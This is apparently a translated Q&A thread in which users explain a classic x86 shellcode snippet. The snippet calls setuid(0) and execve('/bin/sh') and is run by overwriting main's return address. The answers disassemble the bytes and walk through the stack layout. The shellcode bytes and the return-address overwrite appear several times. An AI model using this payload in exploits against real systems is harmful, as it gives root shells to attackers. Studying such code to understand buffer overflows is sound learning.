15

警告: これはエクスプロイトです。このコードを実行しないでください。

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

誰かが私にもっと良い説明を与えることができますか?

4

7 に答える 7

25

どうやら、このコードはスタックを変更して、main関数が戻ったときにプログラムの実行が定期的にランタイム ライブラリに戻らず (通常はプログラムを終了させます)、代わりにshellcode配列に保存されたコードにジャンプするようにしています。

1) int *ret;

main関数の引数のすぐ下で、スタック上の変数を定義します。

2) ret = (int *)&ret + 2;

スタックの 2 つ上に配置されretた を変数が指すようにします。おそらく、それは、プログラムが戻ったときに続行するリターンアドレスが配置されている場所です。int *intretmain

2) (*ret) = (int)shellcode;

戻りアドレスはshellcode配列の内容のアドレスに設定されるため、戻りshellcode時に の内容が実行されmainます。


shellcodelaunch へのシステムコールを実行する可能性のあるマシン命令が含まれているよう/bin/shです。私は実際に分解していないので、これについて間違っている可能性がありますshellcode


PS:このコードはマシンとコンパイラに依存しており、すべてのプラットフォームで機能するとは限りません。


2 番目の質問に答えます。

ret=(int)&ret +2 を使用するとどうなりますか? なぜ 2 を追加したのでしょうか? なぜ3か4ではないのですか?そして、intは4バイトだと思うので、2は8バイトになりますか?

retは として宣言されているため、 ( などの) をそれにint*割り当てるとエラーになります。なぜ 2 が追加され、他の数字は追加されないのかについて: どうやら、このコードは戻りアドレスがスタック上のその場所にあると想定しているためです。次の点を考慮してください。int(int)&ret

  • このコードは、何かがプッシュされたときにコール スタックが下向きに成長することを前提としています (Intel プロセッサなどで実際に行われているように)。これが、数値が加算され、減算されない理由です。戻りアドレスは、自動 (ローカル) 変数 (など) よりも上位のメモリ アドレスにありますret

  • Intel のアセンブリ時代の記憶から、C 関数は次のように呼び出されることがよくあります。まず、すべての引数が逆の順序 (右から左) でスタックにプッシュされます。次に、関数が呼び出されます。したがって、戻りアドレスはスタックにプッシュされます。次に、新しいスタック フレームが設定されます。これには、ebpレジスタがスタックにプッシュされることが含まれます。次に、ローカル変数は、この時点までにプッシュされたすべての下のスタックに設定されます。

ここで、プログラムのスタック レイアウトを次のように仮定します。

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

一番下にありますret(これは 32 ビット整数です)。その上に保存されたebpレジスタがあります (これも 32 ビット幅です)。その上に 32 ビットの戻りアドレスがあります。(その上にはmainの引数 --argcargv-- がありますが、ここでは重要ではありません。) 関数が実行されると、スタック ポインターは を指しますret。戻りアドレスは 64 ビット「上」にあり、これはin にret対応します。+ 2

ret = (int*)&ret + 2; 

はaであり、 anは 32 ビットである+ 2ため、2 を追加することは、それを 2 × 32 ビット (=64 ビット) 上のメモリ位置に設定することを意味します。上記の段落は正しいです。retint*int(int*)&ret


エクスカーション: C 関数どのように呼び出されるかを Intel アセンブリ言語で示してみましょう(私の記憶が正しければ、私はこのトピックの第一人者ではないので、間違っている可能性があります)。

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

main 内では、次のことが発生する可能性があります。

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

このトピックの別の説明については、Cでのプロシージャー呼び出しシーケンスの説明も参照してください。

于 2010-04-24T19:42:10.517 に答える
19

実際のシェルコードは次のとおりです。

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

これはおおよそ

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
于 2010-04-24T20:23:16.383 に答える
15

その文字列はバッファ オーバーフローの古いドキュメントからのもので、/bin/sh を実行します。これは悪意のあるコードであるため (バッファ エクスプロイトと組み合わせた場合)、次回はその起源を含める必要があります。

同じドキュメントから、スタックベースのエクスプロイトをコーディングする方法:

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

含めたコードにより、 shellcode[] の内容が実行され、execveが実行され、シェルへのアクセスが提供されます。シェルコードという用語は?ウィキペディアから:

コンピューター セキュリティでは、シェルコードは、ソフトウェアの脆弱性を悪用する際にペイロードとして使用される小さなコードです。これは通常、攻撃者が侵害されたマシンを制御できるコマンド シェルを起動するため、「シェルコード」と呼ばれます。シェルコードは一般的にマシン コードで記述されますが、同様のタスクを実行するコードはすべてシェルコードと呼ばれます。

于 2010-04-24T19:39:50.370 に答える
5

実際のオペコードをすべて調べて確認しなくても、shellcode配列には exec に必要なマシン コードが含まれています/bin/sh。このシェルコードnullは、特定のターゲット プラットフォームで目的の操作を実行し、バイトを含まないように慎重に作成されたマシン コードです。

のコードはmain()、配列内の命令を実行することによってプログラムにシェルを生成させるために、戻りアドレスと実行の流れを変更していますshellcode

このようなシェルコードの作成方法と使用方法については、Smashing The Stack For Fun And Profitを参照してください。

于 2010-04-24T19:41:16.363 に答える
0

文字列には、16 進数で表された一連のバイトが含まれます。

バイトは、特定のプラットフォーム (できればあなたのプラットフォーム) の特定のプロセッサ用の一連の命令をエンコードします。(編集: マルウェアの場合は、うまくいけばあなたのものではありません! )

変数は、スタックへのハンドルを取得するためだけに定義されています。よろしければ、ブックマークを。次に、やはりプラットフォームに依存するポインタ演算が使用され、プログラムの状態を操作して、プロセッサが文字列内のバイトにジャンプして実行するようにします。

于 2010-04-24T19:41:13.313 に答える
0

各 \xXX は 16 進数です。そのような数字の 1 つ、2 つ、または 3 つが一緒になってオペコードを形成します (Google で検索してください)。一緒に、マシンによって多かれ少なかれ直接実行できるアセンブリを形成します。そして、このコードはシェルコードを実行しようとします。

シェルコードがシェルを生成しようとしていると思います。

于 2010-04-24T19:43:01.427 に答える
0

これは単に spawn/bin/shです。たとえば、C のようにexecve("/bin/sh", NULL, NULL);

于 2020-08-27T02:22:20.583 に答える